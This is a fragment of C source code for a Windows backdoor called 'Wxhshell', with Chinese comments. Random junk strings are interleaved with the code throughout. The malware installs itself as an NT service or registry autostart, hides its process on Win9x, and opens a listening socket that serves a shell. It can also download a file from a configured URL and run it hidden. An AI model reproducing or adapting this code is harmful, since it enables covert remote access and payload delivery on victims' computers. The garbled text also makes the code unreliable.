OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8K qv)FjB
if(hProcess==NULL) return 0; 4PdFq*A *KMCU
m HMODULE hMod; rRMC<.= char procName[255]; X qh+ unsigned long cbNeeded; _LK(j;6K} C5m*pGImG if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G100L}d"N ;Wr$hDt^ CloseHandle(hProcess); 5ZPl`[He )wC>Hq[mhW if(strstr(procName,"services")) return 1; // 以服务启动 3,GSBiK3} 3k=q>~&@ return 0; // 注册表启动 X*b0q J
Z } "371`!% =3@^TW(j // 主模块 sU>*S$X8 int StartWxhshell(LPSTR lpCmdLine) </eh^<_~ { kmf4ax
h1 SOCKET wsl; 8=$@azG BOOL val=TRUE; eI@O9<.& int port=0; c;Li~FLR struct sockaddr_in door; (C!fIRY kAqk~. if(wscfg.ws_autoins) Install(); K3jno+U& =I?p(MqW port=atoi(lpCmdLine); tqHXzmsjW niFjsTA.Z if(port<=0) port=wscfg.ws_port; 0Y\u,\GrxW .w0? WSADATA data; DQ,Q yV if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y$N|p{Z 9:P)@UF if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6ik6JL$AI setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
9TeDLp door.sin_family = AF_INET; 7Kn=[2J5k' door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6A%Y/oU+2 door.sin_port = htons(port); '?QZ7A i'a M#4V if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9J<KR#M closesocket(wsl); Th-zMQ4 return 1; {MIs%w.G } N@k:kI U-k6ZV3&8 if(listen(wsl,2) == INVALID_SOCKET) { o;"!#Z 1SJ closesocket(wsl); *d@}'De{8 return 1; 5ewQjwW0 } Ouj5NL Wxhshell(wsl); ;$86.2S>B WSACleanup(); 9AS,-5;XQ ,7eN m>$ return 0; a+MC[aFr }!2|*Y } L,R9jMx?_ LG;xZQx' // 以NT服务方式启动 p{.EFa>H VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?g9CeeH* { [}FP_Su$6 DWORD status = 0; ~!UxmYgO DWORD specificError = 0xfffffff; \A':}<Rj Y*4\K%e( serviceStatus.dwServiceType = SERVICE_WIN32; ~ejHA~QC serviceStatus.dwCurrentState = SERVICE_START_PENDING; Bs^W0K$uBO serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nHA2p`T serviceStatus.dwWin32ExitCode = 0; Z";o{@p serviceStatus.dwServiceSpecificExitCode = 0; Wc(?ezn serviceStatus.dwCheckPoint = 0; A M# '(k( serviceStatus.dwWaitHint = 0; ZM<1;!i z2-=fIr.h hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @~zhAU! if (hServiceStatusHandle==0) return; @mW0EJ8bb Wkf)4! status = GetLastError(); !I:6L7HdwB if (status!=NO_ERROR) gbo{Zgf< { !j\yt serviceStatus.dwCurrentState = SERVICE_STOPPED; ?vvjwys@ serviceStatus.dwCheckPoint = 0; "ibKi= serviceStatus.dwWaitHint = 0; R_/T bz serviceStatus.dwWin32ExitCode = status; +W-sb5) serviceStatus.dwServiceSpecificExitCode = specificError; Q7i^VN SetServiceStatus(hServiceStatusHandle, &serviceStatus); !DLIIKO78 return; -OoXb( I4 } $+$+;1[ sjztT<{Q^- serviceStatus.dwCurrentState = SERVICE_RUNNING; t@b';Cuv serviceStatus.dwCheckPoint = 0; #*?a" serviceStatus.dwWaitHint = 0;
~B/|#o2 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )5bhyzSZI } R\6#J0&Y- |rsu+0Mtz // 处理NT服务事件,比如:启动、停止 pp/Cn4"w VOID WINAPI NTServiceHandler(DWORD fdwControl) Pf]L`haGN { 6=FF*"-6E switch(fdwControl) aY6]NpT { V[CS{Hy' case SERVICE_CONTROL_STOP: he
9qWL&^G serviceStatus.dwWin32ExitCode = 0; k4eV*e8 serviceStatus.dwCurrentState = SERVICE_STOPPED; Z#d_<e? serviceStatus.dwCheckPoint = 0; m/CA serviceStatus.dwWaitHint = 0; d[jxU/.p; { 5'.j+{" SetServiceStatus(hServiceStatusHandle, &serviceStatus); !k Hpw2 } 6D)
vY return; 9].!mpR case SERVICE_CONTROL_PAUSE: I 8e{%PK serviceStatus.dwCurrentState = SERVICE_PAUSED; 3xbA]u;gp break; )4 "G1R`3 case SERVICE_CONTROL_CONTINUE: D{\hPv serviceStatus.dwCurrentState = SERVICE_RUNNING; ASPfzW2 break; pZF`+642 case SERVICE_CONTROL_INTERROGATE: lZ'NLbK break; ,f4Hl%T; }; e>X&[\T SetServiceStatus(hServiceStatusHandle, &serviceStatus); y1FS?hSD0 } e~jp< 4 F~z4T/TN%G // 标准应用程序主函数 9^>nZ6 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `nn;E%n { BIS5u4 q>f1V3 // 获取操作系统版本 Q;Xb-\\ OsIsNt=GetOsVer(); vxY7/ _] GetModuleFileName(NULL,ExeFile,MAX_PATH); N(6|TE2 H"].G^V\6 // 从命令行安装 *b~$|H-\ if(strpbrk(lpCmdLine,"iI")) Install(); p e |k}{ B!yAam#^ // 下载执行文件 ,"5Fw4G6* if(wscfg.ws_downexe) { O~Pbu[C if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?tg(X[h{S WinExec(wscfg.ws_filenam,SW_HIDE); 7l%O:M(\ } Qgf\gTF$r+ K%Jy?7
U if(!OsIsNt) { L-",.U*; // 如果时win9x,隐藏进程并且设置为注册表启动 D'c,z[ HideProc(); "=N[g StartWxhshell(lpCmdLine); 5 o'V} } 4ijoAW3A^ else cea%M3 if(StartFromService()) 8?J\ // 以服务方式启动 yIOoVi\m StartServiceCtrlDispatcher(DispatchTable); G"3D"7fa else U_B"B;ng+ // 普通方式启动 S3A OT StartWxhshell(lpCmdLine); 3I@j=:(%Y h1q ?kA return 0; +)dQd T0Fq }
|